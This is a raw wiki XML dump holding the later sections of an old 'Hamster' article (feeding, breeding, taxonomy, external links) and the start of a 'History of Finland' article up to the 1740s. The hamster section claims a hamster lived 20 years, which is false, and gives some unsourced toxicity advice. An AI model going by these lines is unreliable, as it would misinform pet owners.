Pet stores can provide basic food for hamsters that provides their nutritional needs, but they also enjoy fresh [[vegetable]]s and [[fruit]]s, bird seed, and even living [[insect]]s, which make up an important part of their natural diet. However, not all foods are suitable for hamsters and some , such as sweets made for humans or poisonous plants like the ''leaves'' of the [[tomato]], may be most dangerous for the hamster's health.  Almonds and citrus fruits are also toxic to all hamsters.  Dwarf hamsters are susceptible to diabetes, and should not have high sugar foods, such as fruits and corn.  Like with most other animals (and humans), it is not true that hamsters can decide which food is good for them and they will usually eat anything that is offered.

Hamsters should also always have fresh water available. Appropriate drinking devices can be found in stores. Being small animals that are adapted to the life in arid environments, hamsters can also ingest all necessary liquid via sufficient amounts of watery vegetables, such as cucumber, without any negative effects. However, providing water is usually more convenient and can be an easy way to add medication or [[vitamin]]s to the hamsters diet. Both water and vegetables must be fresh and have to be exchanged frequently, usually once a day. Water must not be given in open jars, since it is likely to be polluted and because wetness is generally very unhealthy for hamsters (that clean themselves very carefully without the need of additional water).

In detail, the solid food components can be divided into three categories: dry, fresh, and animal food. Dry food makes up the bulk of a hamster's diet. Besides the standard rodent food sold in pet stores, most other kinds of [[seed]]s, kernels, and [[nut (fruit)|nuts]] can be given. Care should be taken to limit the amount of fat contained within the diet. Especially [[sunflower]] seeds, nuts, and [[sesame]] are the most nutritious and are to be considered as a treat rather than as basic food. All kinds of [[cereal|grain]], [[rice]], [[noodle]]s (dry), dry [[pea]]s and [[lentil]]s on the other hand can be provided more readily: about 120&amp;nbsp;g for a medium hamster and, depending on size, about half the amount for a dwarf hamster is sufficient. [[Bread]] and similar bakery products contain many ingredients (e.g. [[yeast]]) that can trouble the hamster's digestion system. They should be given in small amounts for gnawing or be replaced by special wafers as found in pet stores. All dry food should be appropriate in size. Especially small hamsters often cannot cope well with large seeds, even if they are sold under the label &quot;hamster food&quot;. Bird food like [[millet]] is a noteworthy alternative for small hamsters.

[[Hay]], although also belonging to the dry food category, can be provided in large amounts at any time. It does not contain notable amounts of fat, still is liked by most hamsters, supports the hamster's digestion system, serves as a hiding place, and is often used for nest building. In addition it is cheap and can even be produced in your own garden easily.

Fresh food is also an important part of the hamster's diet. As mentioned above, cucumber is a good supplement of water. Fresh [[grass]], [[carrot]], any kind of [[lettuce]] except iceberg, leaves and even branches of (non-poisonous) plants are also no problem in general. However, no [[conifer]] wood must be fed since [[resin]] is poisonous for hamsters. In smaller amounts, grown hamsters also appreciate [[apple]], [[pear]], sweet [[paprika]], [[banana]], [[mango]], and [[strawberry]]. Too many sweet fruits on the other hand are not healthy. All kinds of [[cabbage]] should be avoided, since they may cause [[flatulence]], which is quite dangerous for the hamster's sensitive digestion system.  It is also dangerous to feed your hamster citrus fruit of any kind.

All hamsters should be given a more conservative diet. If accepted, [[herb]]s can also help to strengthen the hamster's health, though they cannot replace a [[veterinarian]] in case of a disease. [[Daisy|Daisies]] (the flowers, not the stems or leaves) and [[dandelion]]s are likewise appreciated. Plants used for hamster foods should never be placed near open windows because hamsters are more sensitive to chemical pollutions, due to their small body weight.

Finally animal food is a major component of some hamsters' natural food. As pets, a large part of this can be replaced by dry food. Still, hamsters need some animal proteins for their health. While some people like to provide living insects from pet stores to their hamsters, others will prefer to give them dry dog biscuits. Some hamsters are known to accept [[Yogurt|yoghurt]] (natural, without sweet ingredients) or soft [[cheese]] (low fat, not too salty), and in any case egg noodles are usually taken gratefully. If (dry or soft) dog or cat food is given, then the fat content has to be checked carefully. Furthermore, it must not contain [[molasses]], which would harm the hamster.

In addition, a special salt stone (available in pet stores) belongs in every hamster cage. Although this huge amount of mineral salt is hardly used up by generations of hamsters, it is necessary for their life. Vitamin additives for rodents are not required and usually fresh vegetables are to be preferred. If the hamster is diseased or ill-nourished, vitamins or medications may be needed.

It might be noted that many hamsters tend to carry away food from their food source (by carrying it in their cheek pouches) and hoard it away in a cache hidden somewhere inside their container. These caches, when combined with hamster urine or a leaky water source and poor airflow, can grow mold or start to rot, creating a hazardous environment for the hamster. To keep this from happening, clean hamster cages frequently. It is because of this behavior that hamsters got their name. The German word for hoard is &quot;hamstern.&quot;   

There are also many foods that a hamster should never eat. This includes all kinds of human sweets, such as chocolate or candy, which are unhealthy and even dangerous. Furthermore, poisonous plants (also check indoor plants if the hamster is taken outside its housing) constitute a considerable danger. Other than this, mainly the various unhealthy and chemically treated products usually consumed by humans can cause problems.

Campbells dwarf hamsters are especially sensitive to [[Diabetes mellitus]], and other dwarf hamster species may be somewhat sensitive too.  Diabetes mellitus in hamsters is often caused by intake of simple [[sugar]]. Therefore it is essential to avoid hamster food and snacks containing [[molasses]], [[honey]], sugar, [[fruit sugar]] or other sweet stuff. Intake of sweet fruit should be limited to small snacks. Even with golden hamsters it may be useful to follow these guideline in order to avoid overweight and digestion disturbances.

===Reproduction and longevity===
&lt;!--Any unsourced images may be deleted without notice [[Image:Young hamster closeup.jpg|thumb|Young hamster, before eyes open.]]--&gt;
Hamsters typically live no more than two to three years in captivity, less than that in the wild. Because of their short life expectancy, hamsters mature quickly and can begin reproducing at a young age (four weeks). The longest recorded life of a hamster was an unbelievable 20 years. Left to their own devices, hamsters will produce several litters a year with several babies in each litter.  Male and female hamsters are therefore usually kept in separate enclosures to prevent the addition of unwanted offspring.

After a female hamster mates, there is a gestation period of 16-18 days before it will give birth. Following birth, the male hamster is likely to eat some of the pups. The female may act aggressively toward the male during the gestation period and may kill it to protect the cubs. The average litter is about 7, but can be as great as 24, which is the maximum number of pups that can be contained in the womb. The mother hamster will gather all the pups into a nest which it built. They will be hairless, have closed eyes, nurse from their mother, and move very little. After about a week, they will begin to wander from the nest and eat solid food. After a total of three weeks, the pups will be weaned and can leave the nest for good. They should be separated by sex at this time.

When seen from above, a sexually mature female hamster has a trim tail line; a male's tail line bulges on both sides.

==Classification of hamsters==
Taxonomists currently disagree about the most appropriate placement of the subfamily [[Cricetinae]] within the superfamily [[Muroidea]].  Some place it in a family [[Cricetidae]] that also includes [[vole]]s, [[lemming]]s, and [[New World rats and mice]]; others group all these into a large family called [[Muridae]]. 

*Subfamily '''Cricetinae'''
**Genus ''[[Mesocricetus]]'' - Golden hamsters
***[[Syrian Hamster]] (''Mesocricetus auratus''); also called the Teddy Bear hamster.
***[[Turkish Hamster]] (''Mesocricetus brandti''); also called [[Johann Friedrich von Brandt|Brandt's]] Hamster, Azerbajaini Hamster
***[[Georgian Hamster]] (''Mesocricetus raddei''); also Ciscaucasian Hamster
***[[Romanian Hamster]] (''Mesocricetus newtoni'')
**Genus ''[[Phodopus]]'' - Dwarf hamsters
***[[Djungarian Hamster]] (''Phodopus sungorus''); two subspecies are recognised, the Siberian Hamster proper or White Russian Hamster (''Phodopus sungorus sungorus''), and Campbell's Dwarf Russian Hamster (''Phodopus sungorus campbelli'')
***[[Roborovski Hamster]] (''Phodopus roborovskii''); sometimes known as the Mongolian Hamster, although this causes confusion with ''Cricetulus curtatus''
**Genus ''[[Cricetus]]''
***[[European Hamster]] (''Cricetus cricetus''); also called the Common Hamster or Black-bellied Field Hamster
**Genus ''[[Cricetulus]]''
***[[Ladak Hamster]] (''Cricetulus alticola'')
***[[Striped Dwarf Hamster]] (''Cricetulus barabensis'' including &quot;''C. griseus''&quot;, &quot;''C. pseudogriseus''&quot;, and &quot;''C. obscurus''&quot;); also Chinese striped hamster, Chinese hamster
***[[Tibetan Hamster]] (''Cricetulus kamensis'')
***[[Long-tailed Hamster]] (''Cricetulus longicaudatus'')
***[[Armenian Hamster]] (''Cricetulus migratorius''); also called the Migratory Grey Hamster, Grey Hamster, Grey Dwarf Hamster, or Migratory Hamster
***[[Sokolov's Hamster]] (''Cricetulus sokolovi'')
**Genus ''[[Allocricetulus]]''
***[[Mongolian Hamster]] (''Allocricetulus curtatus'')
***[[Kazakh Hamster]] (''Allocricetulus eversmanni''); also Eversmann's Hamster
**Genus ''[[Cansumys]]''
***[[Gansu Hamster]] (''Cansumys canus'')
**Genus ''[[Tscherskia]]''
***[[Greater Long-tailed Hamster]] (''Tscherskia triton''); also Korean Hamster

===Relationships among hamsters===
Neumann et al. (2006) conducted a [[molecular phylogeny|molecular phylogenetic]] analysis of 12 of the above 17 species of hamster using [[DNA sequence ]] from three [[gene]]s: [[12S rRNA]], [[cytochrome b]], and [[von Willebrand factor]].  They uncovered the following relationships:

====''Phodopus'' group====
The genus ''Phodopus'' was found to represent the earliest split among hamsters.  Their analysis included both species.  The results of another study (Lebedev et al., 2003) may suggest that ''Cricetulus kamensis'' (and presumably the related ''C. alticola'') might belong to either this ''Phodopus'' group or hold a similar basal position.

====''Mesocricetus'' group====
The genus ''Mesocricetus'' also formed a [[monophyly|monophyletic]] [[clade]].  Their analysis included all four species, with ''M. auratus'' and ''M. raddei'' forming one subclade and ''M. brandti'' and ''M. newtoni'' another.

====Remaining genera====
The remaining genera of hamsters formed a third major clade.  Two of the three sampled species within ''Cricetulus'' represent the earliest split.  This clade contains ''Cricetulus barabensis'' (and presumably the related ''C. sokolovi'') and ''Cricetulus longicaudatus''.

The remaining clade contains members of ''Allocricetulus'', ''Tscherskia'', ''Cricetus'', and ''Cricetulus migratorius''.  ''Allocricetulus'' and ''Cricetus'' were [[sister taxa]].  ''Cricetulus migratorius'' was their next closest relative, and ''Tscherskia'' was basal.

== Similar animals ==
Note that there are some rodents which are sometimes called &quot;hamsters&quot; that are not currently classified in the hamster subfamily Cricetinae. These include the Maned Hamster or Crested Hamster, which is really the [[Maned Rat]] (''Lophiomys imhausi''), although not nearly as marketable under that name.  Others are the [[mouse-like hamster]]s (''Calomyscus'' spp.), and the [[white-tailed rat]] (''Mystromys albicaudatus'').

==Hamsters in popular culture==
As the hamster is generally considered a cute animal, it is often anthropomorphized when found in popular culture. Famous examples of this include the anime [[Hamtaro]] and the [[Hamster Dance]].

 
*[[Ebichu]] is a Japanese cartoon that depicts a talking Hamster as a house-keeper living with a human female.

*The character [[Minsc]] in the RPG Baldurs Gate also had a hamster named Boo. 

*There is also a game [[Hamsterball Gold]].

==References==
*Lebedev, V. S., N. V. Ivanova, N. K. Pavlova, and A. B. Poltoraus. 2003. Molecular phylogeny of the Palearctic hamsters. ''In'' Proceedings of the International Conference Devoted to the 90th Anniversary of Prof. I. M. Gromov on Systematics, Phylogeny and Paleontology of Small Mammals (A. Averianov and N. Abramson eds.). St. Petersburg.
*Musser, G. G. and M. D. Carleton. 2005. Superfamily Muroidea. ''In'' Mammal Species of the World a Taxonomic and Geographic Reference (D. E. Wilson and D. M. Reeder eds.). Johns Hopkins University Press, Baltimore.
*Neumann, K., J. Michaux, V. Lebedev, N. Yigit, E. Colak, N. Ivanova, A. Poltoraus, A. Surov, G. Markov, S. Maak, S. Neumann, R. Gattermann. 2006. Molecular phylogeny of the Cricetinae subfamily based on the mitochondrial cytochrome ''b'' and 12S rRNA genes and the nuclear vWF gene. Molecular Phylogenetics and Evolution, in press; Available online 17 February 2006.

==External links==
*[http://www.hamsterster.com/ HAMSTERster] - online community for hamsters and gerbils
*[http://www.xander.it/video%20eng.htm Xander.it] - Hamsters video collection
*[http://www.hamsoc.org.uk The Hamster Society (UK)]
*[http://www.hamsters-uk.org/index.php National Hamster Council (UK)]
*[http://www.geocities.com/hamsterclubofontario/ Hamster Club of Ontario (Canada)]
*[http://www.hamster-heaven.com/cgi-bin/yabb2/YaBB.pl Hamster Heaven Forum]
*[http://www.hamsterhouse.com/ Popular Hamster Chat Forum]
*[http://www.britishhamsterassociation.org.uk The British Hamster Association]
*[http://www.hamsterhideout.com Hamster Hideout]
*[http://www.hamstercentral.com/ Hamster Central]
*[http://www.hookedonhamsters.com/ Hooked on Hamsters]
*[http://www.hamster-heaven.com/ Hamster Heaven]
*[http://www.hamsterhideout.com/index.html Hamster Hideout]
*[http://www.hamsterrescue.org.uk/ Hamster Rescue (UK)]
*[http://www.thehamstersite.com/contents.htm Hamster Site]
*[http://www.petwebsite.com/about_hamsters.htm About Hamsters on Petwebsite.Com]
*[http://groups.msn.com/InternetHamsterAssoc/home1.msnw?lc=1033 Internet Hamster Association of North America]
*[http://www.hamsterific.com/ Hamsterific.Com]
*[http://www.geocities.com/CalHamAssoc/index.html California Hamster Association]
*[http://communities.msn.com/Hamstersgalore Hamsters Galore! Community website]
*[http://www.hampsterdance2.com/ Hampsterdance2]
*[http://hometown.aol.com/TheRiverRd/ River Road Hamstery]
*[http://www.towyvale.com/index1.html Towy Vale Hamstery]
*[http://www.wellingtonhamsters.co.uk/ Wellington Hamsters]
*[http://www.rainbowhamstery.co.uk/ Rainbow Hamstery]
*[http://www.ukbreeders.co.uk/ Surrey Hamsters]
*[http://www.hammysworld.com/ Hammy's World]

[[Category:Animals kept as pets]]
[[Category:Muroid rodents]]
[[Category:Hamsters]]
[[Category:German loanwords]]

[[da:Hamster]]
[[de:Hamster]]
[[es:Hámster]]
[[eo:Hamstro]]
[[fr:Hamster]]
[[gl:Hamster]]
[[ko:햄스터]]
[[io:Hamstro]]
[[it:Criceto]]
[[he:אוגר זהוב]]
[[nl:Hamsters]]
[[ja:ハムスター]]
[[no:Hamster]]
[[pl:Chomik]]
[[pt:Hamster]]
[[ru:Хомяковые]]
[[sl:Hrček]]
[[fi:Hamsterit]]
[[sv:Hamstrar]]
[[yi:האַמסטער]]
[[zh:仓鼠]]</text>
    </revision>
  </page>
  <page>
    <title>History of Finland</title>
    <id>14378</id>
    <revision>
      <id>42017618</id>
      <timestamp>2006-03-03T06:20:22Z</timestamp>
      <contributor>
        <ip>24.20.248.193</ip>
      </contributor>
      <text xml:space="preserve">The area that now is [[Finland]] was settled soon after the [[Ice Age]], beginning from around [[8500 BC]]. Finland was part of the [[Sweden|Swedish Empire]] from about 1200 to 1809, when Russia conquered the country from Sweden and a personal union between the two countries was established. In 1917 Finland declared its independence. A [[Finnish Civil War|civil war]] ensued between the socialist &quot;Reds&quot; (supported by Bolshevik Russia) and conservative &quot;Whites&quot; (supported by Imperial [[Germany]]). The Whites, after winning the war, established a constitutional democracy. During the [[Second World War]] Finland was attacked twice by the [[Soviet Union]] but remained an independent [[democracy]], except for [[Karelia]] which was lost to the [[Soviet Union]]. During the [[Cold War]] Finland's politics were influenced by the Soviet Union (see: [[finlandization]]) but the country never became a [[satellite state]]. Following the collapse of the Soviet Union in 1991, Finland has moved towards closer integration with Western Europe, joining the [[European Union]] in 1995.
&lt;!--This lead section needs massive expansion and sharpening...--&gt;

==Earliest origins of the Finns==
Finnish and [[Sami language|Sami]] &amp;mdash; the language of [[Lapland]]'s small [[indigenous people|indigenous]] minority &amp;mdash; are both [[Finno-Ugric language]]s and are in the [[Uralic languages|Uralic]] rather than the [[Indo-European languages|Indo-European]] family. The closest related language to the Finnish with an official status is [[Estonian language|Estonian]]. Both Finnish and Estonian are [[Baltic Finnish]] or [[Finnic]] languages, while other Finno-Ugric languages are more distant.

The origins of the Finnish people and their language are a matter of reinvigorated controversy. In the 19th century the Finnish researcher [[Matthias Castren|Castrén]] prevailed with the theory that &quot;their original home&quot; was in west-central [[Siberia]]. Later, a theory of an ancient homeland of all Finno-Ugric peoples situated in the Volga and Kama rivers region in the European part of Russia appeared more credibile. Until the 1970s most linguists believed Finns to have arrived in Finland as late as the first centuries AD. In the 1980s these ideas drastically changed. The old theory got a concurrent version of a wide-ranged &quot;homeland&quot; between the Volga river and Scandinavia. In the light of new archaeological findings, it was concluded that the ancestors of the Finns arrived at their present territory thousands of years ago, perhaps in many successive waves of immigration. During this the possible linguistic and cultural ancestors of the [[hunter-gatherer|hunting-gathering]] [[Sami people|Sami]] were pushed into the more remote northern regions. 

The newest theory formulated during the 1990´s says that during the [[Ice Age]] the ancestors of the Finns lived at one of the three habitable areas of southern Europe, so called ''refugia''. The two other habitable areas were home for the [[Indo-European]] and [[Basque language]]s. According to this theory the Finno-Ugrics spread to the north as ice melted. They populated central and northern Europe, while [[Basque people|Basques]] populated western Europe. Later the Indo-European language speakers presented agriculture to their neighboring hunter-gatherers. While the Finno-Ugric and Basque hunter-gatherers learned how to cultivate land they also learned the culture and the language of cultivators, so they ''became'' [[Indo-European]]s. Soon these new Indo-Europeans had population growth caused by agriculture, and they moved to new areas and Indoeuropeanized the local hunter-gatherers, and so on. This is how Celtic, Germanic, Slavic and Baltic languages were born; however the Finns were not Indo-Europeanized because of their isolated location. This explains why although their languages are not related, the genetic material of Finns and Indo-Europeans of central Europe are closely related. However, this theory is not accepted by the majority of linguists and archaeologists.

The genetic research points out that the Finns are genetically not more related with their linguistic relatives than with the Germanic language speaking populations of Northern Europe. According to a wide genetic research, the closest group to the Finns are surprisingly the Germanic [[Flemings]] of [[Belgium]] (Estonians were not included in the research). It is also remarkable that the similarity is in genes that are inherited only from female to female. This suggests that they had a common ancestress, probably in the same late [[Ice Age]] ''refugia''. However, the genetic similarity does not necessarily prove that a common language ever existed, or that the common language would have been a Finno-Ugric one. The Finno-Ugrian language may have developed and spread also after the Ice Age.

:''See also [[Finnish people]]''

==Pre-history==
The archaeological evidence of the Paleolithic, pre-[[Ice Age]] settlement in Finland is a debated issue. After the Ice Age, the archaeological evidence for the first settlers of Finland, coming from the south and east, can be traced back to around 8500 BC. The Mesolithic [[hunter-gatherer]] settlement is known as the &quot;Suomusjärvi culture&quot;. Around 5300 BC the &quot;Comb ceramic cultures&quot;, known for their pottery, took over. This marks the beginning of the [[neolithic]] for Finland, although the subsistence was still based on hunting and fishing. Extensive networks of exchange existed in Finland and Northeastern Europe during 5th millennium B.C. Great amounts of flint and amber were imported to Finland. Rock paintings, apparently related to shamanistic and totemistic belief systems, exist especially in Eastern Finland.  

It is believed that the proto-[[Finnish language]] spread to Finland at this time, if not before. 

After 3200 BC immigrants or strong cultural influence from south of the Gulf of Finland settled in southern Finland. This culture was a part of the European Battle Axe cultures, which have often been associated with the movement of [[Indo-European]] speakers. The Battle-Axe or Cord Ceramic culture seem to have practiced [[agriculture]] and [[animal husbandry]] in Finland as well. Further inland the societies were less advanced. The Finnish language got an influx from the Indo-European [[Baltic languages]] (and vice versa) approximately in the period 3500-1000 BC[http://victorian.fortunecity.com/christy/32/ak2e.html], and the Sami languages diverged from standard Finnish.

The Bronze Age began some time after 1500 BC, this time spreading from the west. The coastal regions of Finland were a part of the Nordic Bronze Culture, whereas in the inland regions the influences came from the bronze-using cultures of Northern Russia.  After 500 BC the Iron Age began. Findings of imported iron blades and local iron working appears at about the same time. 

During the 1st century AD trade and exchange with Scandinavia increased and some Roman artifacts from this period have been found. During the first millennium AD, the population groups of Finland exchanged their products (mostly furs) with Scandinavian traders. Influences came from the south and east as well. The society was stratified: the existence of richly furnished burials, usually with weapons, suggest that a chiefly elite existed from the 3rd century AD onwards. However, a centralized society did not evolve in Finland, not even during the Viking Age. 

During this time the population in Finland can be discerned into different groups: (proper-)Finns, [[Tavastians]], [[Karelians]] and [[Sami people|Sami]]. Åland was possibly Swedified during this time, if not before (although many Finnish-related placenames indicate a large Finnish population). These terms are used in linguistic sense, not to suggest that the Iron Age people would have used or understood modern ethnonyms.

==The Middle Ages==
Contact between Sweden and what is now Finland was remarkable even during pre-Christian times &amp;mdash; the [[Varangian|Vikings]] were known to Finns both due to their participation in commerce and plundering. However, there is no evidence of Scandinavian settlement in Finland during the Viking Age, with the exception of the Åland Islands.

According to the archaeological finds, [[Christianity]] gained a foothold in Finland during the 11th century AD. According to later sources, [[Saint Henry]], possibly an Englishman, arrived in Finland around [[1155]], apparently to organize the church and ecclesiastical taxes. Probably he was backed by the Swedish king. Henry was martyred soon after his arrival, but a significant cult grew around his memory.   

According to the very few written documents that have survived, the Church in Finland was in a chaotic state during the later part of the 12th century. In the early 13th century, the missionary bishop Thomas apparently managed to bring some stability and order. At the same time, there were several secular powers who aimed to bring the Finns under their rule. These included the young Swedish kingdom, [[Denmark]], the Republic of [[Novgorod]] in Northwestern [[Russia]] and probably the German crusading orders as well. Finns had their own chiefs, but no central authority. Despite the cultural and linguistic similarity, feelings of common &quot;Finnish identity&quot; must have been very vague, if existing at all. The name &quot;Finland&quot; signified only the southwestern province that has been known as &quot;[[Finland Proper]]&quot; since the 18th century. The concept of a Finnish &quot;country&quot; in the modern sense developed only slowly during the period of the 15th&amp;ndash;18th centuries. This development was chiefly promoted by the unifying effect of the Catholic Church that considered the populated parts of present-day Finland to be one [[episcopal see]] and took it for granted that the Christians of that see would consider themselves as kinsmen.

It was apparently the Swedish regent, [[Birger Jarl]], who managed to stabilize Swedish rule in Finland after a &quot;crusade&quot;, most often dated to [[1238]] or [[1249]]. Novgorod gained the rule in [[Karelia]], the region immediately east of Finland, with a population still today closely related to the Finns in a linguistic and ethnic sense. &lt;!-- In fact, it is successfully argued that the Finnic peoples that came under Swedish rule were equally much different as they were compared to them who came under Novgorod's influence. --&gt; Thus, the border between Catholic and Orthodox Christendom came to lie at the eastern border of Finland. 

During the 13th century Finland was integrated in medieval European civilization. The [[Dominican order]] arrived in Finland [[1250s|around 1249]] and came to exercise huge influence there. In the early 14th century, the first documents of Finnish students at [[Collège de Sorbonne|Sorbonne]] appear. In the south-western part of the country, an urban settlement evolved in [[Turku]]. Turku was one of the biggest towns in the Kingdom of Sweden, and its population included German merchants and craftsmen. Otherwise the degree of urbanization was very low in medieval Finland. Southern Finland and the long [[littoral]] of the [[Gulf of Bothnia|Bothnian Gulf]] had a sparse farming settlement, organized as parishes and castellanies. In the other parts of the country a small population of [[Sami people|Sami]] hunters, fishermen and small-scale farmers lived. These were exploited by the Finnish and Karelian tax collectors. During the 12th and 13th centuries, great numbers of Swedish settlers moved to the southern and north-western coasts of Finland, to the [[Åland Islands]] and to the archipelago between Turku and the Åland Islands: in these regions, the Swedish language is widely spoken even today. Swedish came to be the language of the high-status people in many other parts of Finland as well.

During the 13th century, the bishopric of Turku was established, sometimes identified as the medieval counterpart to Finland of our days, since there were no other sees in Finland. The cathedral of Turku was the center of the cult of Saint Henry, and naturally the cultural center of the bishopric. The bishop had the ecclesiastical authority over much of today's Finland and was usually the most powerful man there. Bishops were often Finns, whereas the commanders in the castles were more often Scandinavian or German noblemen. In [[1362]], representatives from Finland were called to participate in the elections of king for Sweden; and this year is often held to signify the incorporation of what would become Finland into the kingdom of Sweden. Similarly to the Scandinavian part of the kingdom, a [[gentry]] or (lower) [[nobility]] consisted of magnates and yeomen who could afford armament for a man and a horse. These were concentrated in the southern part of Finland. 

The strong fortress of [[Viipuri]] (Swedish: [[Viborg]]) guarded the eastern border of Finland. Sweden and Novgorod signed the [[Peace of Nöteborg]] in [[1323]], but that would not last long. For example, in [[1348]] the Swedish king [[Magnus Eriksson]] staged a failed crusade against the Orthodox &quot;[[heretic]]s&quot;, managing only to alienate his supporters and finally losing his crown. The bones of contention between Sweden and Novgorod were the northern coast-line of the Bothnian Gulf and the wilderness regions of [[Savo]] in Eastern Finland. [[Novgorod]] considered these as hunting and fishing grounds of its Karelian subjects, protesting against the slow infiltration of Catholic settlers from the West. Occasional raids and clashes between Swedes and Novgorodians occurred during the late 14th and 15th centuries, but for most of the time an uneasy peace prevailed. There existed internal tensions as well. During the [[1380s]] a civil war in the Scandinavian part of Sweden brought unrest to Finland, too. The victor of this struggle was Queen [[Margaret I of Denmark]], who brought the three Scandinavian kingdoms of [[Sweden]], [[Denmark]] and [[Norway]] under her rule (the &quot;[[Kalmar Union]]&quot;) in [[1389]]. The next 130 years or so were characterized by attempts of different Swedish factions to break out of the Union. Finland was sometimes involved in these struggles, but in general the 15th century seem to have been a relatively prosperous time, characterized by population growth and economic development. Towards the end of the century, however, the situation on the eastern border was becoming more tense. The [[Principality of Moscow]] conquered Novgorod, preparing the way for a unified [[Russians|Russian]] [[nation-state]], and soon tensions arose with Sweden. In [[1495]]&amp;ndash;[[1497]], a brutal war was fought. The fortress-town of [[Viipuri]] stood against a Russian siege: according to a contemporary legend, it was saved by a miracle.

==The 16th century==
In 1521, the Kalmar Union finally collapsed and [[Gustav Vasa]] became the King of [[Sweden]]. During his rule, the Swedish church was reformed (1527). The state administration underwent extensive reforms and development too, giving it a much stronger grip on the life of local communities - and ability to collect higher taxes. Following the policies of the Reformation, in 1551 [[Mikael Agricola]], bishop of Turku, published his translation of the [[New Testament]] into the [[Finnish language]].

In 1550, [[Helsinki]] was founded by [[Gustav Vasa]], but remained little more than a fishing village for more than two centuries.

King Gustav Vasa died in 1560 and his crown was passed to his three sons in separate turns. King [[Erik XIV]] started an era of expansion when the Swedish crown took the city of [[Tallinn]] in [[Estonia]] under its protection in 1561. It was the beginning of an extremely warlike era which lasted for 160 years. In the first phase, Sweden fought for the lordship of Estonia and [[Latvia]] (&quot;[[Livonia]]&quot;) against [[Denmark]], [[Poland]] and Russia. The common people of Finland suffered because of drafts, high taxes, and abuse by military personnel. This resulted in the [[Cudgel War]] of 1596-7, a desperate peasant rebellion, which was suppressed brutally and bloodily. A peace treaty ([[Treaty of Teusina|Peace of Täyssinä]]) with Russia in 1595 moved the border of Finland further to the east and north.

An important part of the 16th century history of Finland was growth of the area settled by the farming population. The crown encouraged farmers from the [[Savo]] province to settle the vast wilderness regions in Middle Finland. This was done, and the original [[Sami people|Sami]] population often had to leave. Some of the wilderness settled was traditional hunting and fishing territory of [[Karelia]]n hunters. During the 1580´s, this resulted in a bloody guerrilla warfare between the Finnish settlers and Karelians in some regions.

==The 17th century - the Swedish Empire==
In [[1617]] - [[1632]] Sweden was ruled by King [[Gustavus Adolphus]], whose military reforms transformed the Swedish army from a peasant militia into an efficient fighting machine, possibly the best one in Europe. The conquest of [[Livonia]] was now completed, and some territories were taken from internally divided [[Russia]] in the [[Treaty of Stolbova]]. In 1630, the Swedish (and Finnish) armies marched into Central Europe, as Sweden had decided to take part in the great struggle between Protestant and Catholic forces in Germany, known as the [[Thirty Years War]]. The Finnish light cavalry, known as the [[Hakkapeliitta|Hakkapeliitat]], spread fear among the Catholic troops in Germany who were used to more orderly warfare (and, maybe, less brutal treatment of prisoners and civilians).

After the [[Peace of Westphalia]] in 1648, Sweden was ranked among the great European powers (the [[Swedish Empire]]). During the war, several important reforms had been made in Finland:
*[[1637]]-[[1640|40]] and [[1648]]-[[1654|54]] Count [[Per Brahe]] functioned as general governor of Finland. Many important reforms were made and many towns were founded. His period of administration is generally considered very beneficial to the development of Finland.
*[[1640]] Finland's first university, the [[Academy of Åbo]], was founded in Turku at the proposal of Count Per Brahe by [[Queen Christina of Sweden]]. This is said to be the only European university founded by a female.
*[[1642]] The whole [[Bible]] was finally published in Finnish.

However, the high taxation, continuing wars and the cold climate (the [[Little Ice Age]]) made the Imperial era of Sweden rather gloomy times for Finnish peasants. In 1655 - 1660, a [[Northern Wars|new series of bitter wars]] was fought, taking Finnish soldiers to the battle-fields of [[Livonia]], [[Poland]] and [[Denmark]]. In 1676, the political system of Sweden was transformed into an [[Charles XI of Sweden|absolute monarchy]]. 

In Middle and Eastern Finland, great amounts of [[tar]] were produced for export. European nations needed this material for the maintenance of their fleets. According to some theories, the spirit of early [[capitalism]] in the tar-producing province of [[Pohjanmaa]] may have been the reason for the [[witch-hunt]] wave that happened in this region during the late 17th century. The people were developing more expectations and plans for the future, and when these were not realized, they were quick to blame witches - according to a belief system the [[Lutheran]] church had imported from [[Germany]].  

In the religious sense, the 17th century was an era of very strict [[Lutheran]] orthodoxy.

In 1697-9, a famine caused by climate killed approximately 30 % of the Finnish population. Soon afterwards, another war determining Finland's fate began (the [[Great Northern War]] of 1700-21).

==The 18th century - the Age of Reason==
During the [[Great Northern War]] ([[1700]]&amp;ndash;[[1721]]), Finland was occupied by the Russians, and the [[Old Finland|south-eastern part]], including the important town of [[Viipuri]], was annexed to [[Russia]] after the [[Peace of Nystad|peace of Uusikaupunki]]. The border with Russia came to lie roughly where it returned to after [[World War II]]. Sweden's status as a European [[great power]] was gone, and Russia was now the leading might of the North. The [[absolute monarchy]] was finished in Sweden. During this [[Sweden and the Great Northern War#The Age of Liberty|Age of Liberty]], the [[Riksdag of the Estates|Parliament]] ruled the country, and the two parties of [[Hats (party)|Hats]] and [[Caps (party)|Caps]] struggled for control leaving the lesser Court party, i.e. parliamentarians with close connections to the royal court, with little to no influence. The Caps wanted to have a peaceful relationship with Russia and were supported by many Finns, while other Finns longed for revenge and supported the Hats.

Finland by this time was no populous land. By the mid-18th century, the population was less than 470 000 according to official statistics (based on (Lutheran) church records, so a few Orthodox Christian parishes in Northern [[Finnish Karelia|Karelia]] are not included). However the population grew rapidly, and doubled before the turn of the century. 90% of the population are typically classified as &quot;[[peasant]]s&quot;; however most of them belonged to the class of free taxed yeomen. 45% of the male population were enfranchised with full political representation in the legislature &amp;mdash; although clericals, nobles and townsfolk had their own chambers in the parliament, boosting their political influence and excluding the peasantry on matters of foreign policy.

The mid 18th century was a relatively good time, partly because life was now more peaceful. However, during the [[Lesser Wrath]] ([[1741]]&amp;ndash;[[1742]]), Finland was again occupied by the Russians after the government, during a period of Hat party dominance, had made a [[Hats' Russian War|botched attempt to reconquer]] the lost provinces. Instead the result of the [[Peace of Åbo]] was that the Russian border was moved further to the west. During this time, Russian propaganda hinted at the possibility of creating a separate Finnish kingdom. 

